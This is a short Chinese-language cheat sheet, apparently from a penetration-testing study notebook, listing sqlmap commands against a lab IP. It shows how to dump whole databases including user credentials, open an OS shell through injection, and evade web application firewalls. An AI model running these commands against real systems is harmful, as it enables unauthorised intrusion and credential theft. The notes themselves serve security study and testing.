跳到主內容

【SQL Injection】sqlmap

 

kali@kali:~$ sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user

# 傾卸整個數據庫,包括用戶憑據 --dump
kali@kali:~$ sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump

#  -r 參數調用 sqlmap,並將包含 POST 請求的文件作為參數
kali@kali:~$ sqlmap -r post.txt -p item  --os-shell  --web-root "/var/www/html/tmp"

# 獲取資料庫
sqlmap -u "URL" --dbs

# 獲取資料庫所有 table
sqlmap -u "URL" -D database --tables

# 獲取指定 table 之欄位
sqlmap -u "URL" -D database -T table --columns

# 獲取指定 table 之指定欄位資料
sqlmap -u "URL" -D database -T table -C field1,field2 --dump

# 使用隨機選擇的 HTTP User-Agent 標頭值,用於繞過 WAF
--random-agent

# 指定注入參數
-p par1,par2

# 跳過注入參數
--skip par1,par2

# 指定注入技術,不使用此參數,預設就是全測,有 BEUSTQ
# B = boolean-based
# E = error-based
# U = union-based
# S = stacked-queries
# T = time-based
# Q = inline-queries
--technique BEQU

# 指定 union select 的 column 列數
# 可以手動 fuzzing 出來指定
--union-cols 5

# 顯示注入過程詳細,數字越大越細,(0~6,預設是1,常用是3)
# 使用情境通常發生在fuzzing時的注入
-v 3

# 指定後端資料庫類型
# 中間有空格要使用雙引號,如:"Microsoft Access"
--dbms "mysql"

# 獲取RCE
--os-shell

# 自動模式,自動選取默認預設選項
--batch

# 跳過防火牆檢測測試
--skip-waf